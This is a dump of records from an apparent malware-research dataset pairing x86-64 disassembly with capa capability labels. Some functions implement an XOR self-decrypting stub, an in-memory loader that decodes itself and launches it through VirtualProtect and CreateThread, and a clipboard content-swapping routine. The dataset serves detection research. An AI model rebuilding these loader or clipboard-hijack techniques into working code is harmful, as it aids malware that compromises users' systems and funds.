joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1410e14dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1410e14e6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1410e150f
pop rbp
sub rbp, 0x33
sub rbp, 0x10e14dc
sub rsp, 0x20
jmp 0x1410e152e
mov rax, 0x10e14dc
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffa4b736ed
xor byte [rax], dl
inc rax
dec rcx
jne 0x1410e154d
jmp 0x1410e1564
movsd dword [rdi], dword [rsi]
add al, 0x66
shr ebp, 1
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
insb byte [rdi], dx
sub al, 0xe5
in al, dx
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add al, 0xa5
sub ch, byte [0x12efc035e]
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
sub ch, byte [rdi]
vpaddsw ymm5, ymm2, ymm5
movsd dword [rdi], dword [rsi]
sbb cl, byte [rdi]
movsd dword [rdi], dword [rsi]
in al, dx
sub al, 0x66
insb byte [rdi], dx
loope 0x1410e157c
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add eax, 0x55a5bdbd
ror dword [rsi - 0x1212123c], 1
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
push rsp
jb 0x1410e1600
or ebp, ebp
in eax, dx
in eax, dx
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add al, 0xa5
push rdi
popfq
invalid
in eax, dx
in eax, dx
mov bh, 0xba
movsd dword [rdi], dword [rsi]
cmp ah, byte fs:[rbp - 0x235adb24]
invalid
Function at 0x1400015bc
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
cmp r8d, 2
mov r12, rcx
lea rbp, [rsp + 0x20]
mov r15d, r8d
jne 0x140001625
mov dword [0x14007a060], 0x10
movups xmm0, xmmword [rcx]
lea rsi, [0x14007701e]
mov rdi, rbp
lea rax, [0x14007a074]
movups xmmword [0x14007a064], xmm0
movups xmm1, xmmword [rcx]
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x22], rdx
mov ecx, 0xd
mov rdi, rax
movups xmmword [0x14007a074], xmm1
mov rsi, rbp
rep movsb byte [rdi], byte [rsi]
mov r13d, dword [0x14007a060]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbp
mov rcx, r12
mov dword [rsp + 0x20], 0
mov r8d, 0x40
mov r14, r13
mov rdx, r13
call rbx
test eax, eax
je 0x1400016cd
lea rsi, [0x14007a074]
test r15d, r15d
mov rdi, r12
mov rcx, r13
lea rax, [rsi - 0x10]
cmove rsi, rax
cmp qword [0x14007a088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x14000169b
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007a088], rax
mov rsi, qword [0x14007a088]
test rsi, rsi
je 0x1400016b8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, r12
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, rbp
mov rdx, r13
mov rcx, r12
call rbx
mov eax, 1
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000178a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x1400016de]
jmp fcn.1400015bc

Function at 0x1400017a3
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
mov dword [rsp + 0x20], edx
mov rdi, rcx
mov ebx, edx
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x28], 0
xor edx, edx
mov rbp, r8
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf003f
mov qword [rsp + 0x20], 0
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp ebx, eax
jle 0x14000181e
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rsi + rax], dl
inc rax
jmp 0x140001805
call fcn.14000178a
mov rcx, rsi
lea r9, [rsp + 0x3c]
mov r8d, 0x20
call fcn.14000158a
movsxd rdx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x14000156b]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001870
Capabilities:
Read file on windows

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r12, rcx
mov ecx, 0x800
call sub.msvcrt.dll_malloc
mov r8d, 0x800
mov rcx, r12
mov r13, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x140077030]
mov rcx, r13
call sub.msvcrt.dll_fopen
mov rbx, qword [0x140077530]
mov r14, rax
movsxd r8, dword [rbx + 4]
lea rsi, [rbx + 0x18]
mov rcx, r8
mov qword [rsp + 0x28], r8
call sub.msvcrt.dll_malloc
mov r8, qword [rsp + 0x28]
mov r9, r14
mov edx, 1
mov rcx, rax
mov r12, rax
call sub.msvcrt.dll_fread
mov rcx, r14
mov rdi, r12
call sub.msvcrt.dll_fclose
mov edx, dword [rbx + 4]
mov ecx, 0
lea r8, [rbx + 8]
test edx, edx
cmovns rcx, rdx
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
call fcn.1400017a3
mov rcx, r13
call sub.msvcrt.dll_free
mov rcx, r12
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_free

Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002a10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002a10
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14007a114]
mov r12, rcx
test ebx, ebx
jle 0x140001d90
mov rax, qword [0x14007a118]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001cac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001d33
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001c90
mov rcx, r12
call fcn.1400026c0
mov rsi, rax
test rax, rax
je 0x140001db2
mov rax, qword [0x14007a118]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1400027f0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14007a118]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d2c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x14007a114], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14007a118]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001bf0
nop dword [rax]
xor ebx, ebx
jmp 0x140001cb7
mov rax, qword [0x14007a118]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001bf0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001bf0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002330
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14007a180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14007a160]
test rbx, rbx
je 0x140002384
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000237b
test r12, r12
je 0x14000237b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002360
lea rcx, [0x14007a180]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400026c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400773d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002735
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000272c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026e0
add rax, 0x28
cmp rax, r9
jne 0x140002718
xor eax, eax
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400773d0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002760
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002768
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002760
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400773d0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002810
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002818
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x14000154d
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x14000158b
mov eax, 1
jmp 0x140001620
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp + 0x18]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400015bb
mov eax, 1
jmp 0x140001620
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400015dd
mov eax, 1
jmp 0x140001620
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 0x18]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001626
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x14000164a
mov eax, 1
jmp 0x140001768
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000166d
mov eax, 1
jmp 0x140001768
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001692
mov eax, 1
jmp 0x140001768
mov dword [rbp - 0x1c], 0xe
mov dword [rbp - 4], 0
jmp 0x14000173e
mov eax, dword [rbp - 4]
cdqe
lea rdx, [rax*8]
lea rax, section..data
mov rax, qword [rdx + rax]
mov qword [rbp - 0x28], rax
mov eax, dword [rbp - 4]
add eax, 1
cdqe
lea rdx, [rax*8]
lea rax, section..data
mov rax, qword [rdx + rax]
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call fcn.1400014c2
mov dword [rbp - 0x34], eax
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, str.patternText:__s__currentText:__s_n__status:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp - 0x34], 1
jne 0x14000173a
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 1]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call fcn.14000154d
jmp 0x14000174a
add dword [rbp - 4], 2
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 0x1c]
jl 0x1400016a5
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140004c81
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov r8d, 0xd0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x80], 0xf
cmp qword [rbp + 0x18], 0xffffffffffffffff
jne 0x140004cc7
mov eax, 0xc
jmp 0x140004e7c
mov rax, qword [rbp + 0x18]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 8]
shl rax, 4
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rdx
mov dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp qword [rbp + 0x18], rax
jb 0x140004d0a
shl dword [rbp - 4], 1
jmp 0x140004cfc
nop
mov eax, dword [rbp - 4]
mov rdx, rax
mov ecx, 0x10
call sub.msvcrt.dll_calloc
mov rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x40], rdx
mov eax, dword [rbp - 4]
lea edx, [rax - 1]
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x84], edx
mov rax, qword [sym.imp.msvcrt.dll____mb_cur_max_func]
call rax
mov rdx, qword [rbp + 0x10]
mov dword [rdx + 0x9c], eax
lea rax, str.LC_ALL
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140004d6e
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
test al, al
jne 0x140004d81
lea rax, str.LC_CTYPE
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140004d93
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
test al, al
jne 0x140004da6
lea rax, str.LANG
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140004dba
lea rax, [0x14001a47d]
mov qword [rbp - 0x10], rax
jmp 0x140004de9
mov rax, qword [rbp - 0x10]
mov edx, 0x2e
mov rcx, rax
call sub.msvcrt.dll_strchr
test rax, rax
je 0x140004de9
mov rax, qword [rbp - 0x10]
mov edx, 0x2e
mov rcx, rax
call sub.msvcrt.dll_strchr
add rax, 1
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rdx, str.UTF_8
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
je 0x140004e1f
mov rax, qword [rbp - 0x10]
lea rdx, str.UTF8
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x140004e33
mov rax, qword [rbp + 0x10]
movzx edx, byte [rax + 0x98]
or edx, 4
mov byte [rax + 0x98], dl
mov rax, qword [rbp + 0x10]
movzx edx, byte [rax + 0x98]
and edx, 0xfffffff7
mov byte [rax + 0x98], dl
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
test rax, rax
sete al
movzx eax, al
test eax, eax
jne 0x140004e70
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x40]
test rax, rax
sete al
movzx eax, al
test eax, eax
je 0x140004e77
mov eax, 0xc
jmp 0x140004e7c
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140012260
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140017fd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140017fd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400122d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001e0b4]
mov rbx, rcx
test esi, esi
jle 0x140012400
mov rax, qword [0x14001e0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001231b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400123a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140012300
mov rcx, rbx
call fcn.140012d20
mov rdi, rax
test rax, rax
je 0x140012422
mov rax, qword [0x14001e0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140012e60
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001e0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140012407
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001239e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400123b0
add dword [0x14001e0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001e0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001239e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140012260
nop dword [rax]
xor esi, esi
jmp 0x140012328
mov rax, qword [0x14001e0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140012260
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140012260
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140012990
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001e120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001e100]
test rbx, rbx
je 0x1400129ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400129e3
test rsi, rsi
je 0x1400129e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400129c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140012d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001b0a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140012d40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140012d48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140012d40
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140012d9d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140012d94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140012d40
add rax, 0x28
cmp rax, r9
jne 0x140012d80
xor eax, eax
ret

Function at 0x140012da0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001b0a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140012dbf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140012dc8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140012dbf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140012e60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001b0a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140012e7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140012e88
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rdi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdi, 0x20
jb 0x140002159
mov r8, qword [r9 + 0x18]
mov rdx, qword [rcx + 8]
mov rax, r8
mov r9, qword [r9 + 0x20]
mov rcx, qword [rcx + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rcx
rol rax, 7
add r10, rax
mov rax, rdx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rdx, rbp
imul rcx, rbp
imul r8, rbp
imul r9, rbp
rol rdx, 0x1f
imul rdx, rsi
rol rcx, 0x1f
xor r10, rdx
rol r8, 0x1f
imul r10, rsi
imul rcx, rsi
imul r8, rsi
sub r10, r15
rol r9, 0x1f
xor r10, rcx
imul r10, rsi
imul r9, rsi
sub r10, r15
xor r10, r8
imul r10, rsi
sub r10, r15
xor r10, r9
imul r10, rsi
add rax, r10
add rax, rdi
jmp 0x140002161
lea rax, [rdi + r14]
add rax, qword [rcx + 0x18]
lea rdx, [r11 + 8]
cmp rdx, rbx
ja 0x14000219a
nop word [rax + rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, rbp
add r11, 8
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret

Function at 0x14000a500
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
mov edi, 0x28
test dl, dl
je 0x14000a5a5
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14000a55d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14000a550
cmp rcx, 1
jb 0x14000a5d6
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14000a573
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14000ffa0
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14000a540
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000c4f0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14000fc64
int3
Function at 0x14000a660
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a6a5
xor al, al
jmp 0x14000a6f2
cmp word [rbx], 0
je 0x14000a6bd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a6b0
cmp word [rsp + 0x30], 0
je 0x14000a6eb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
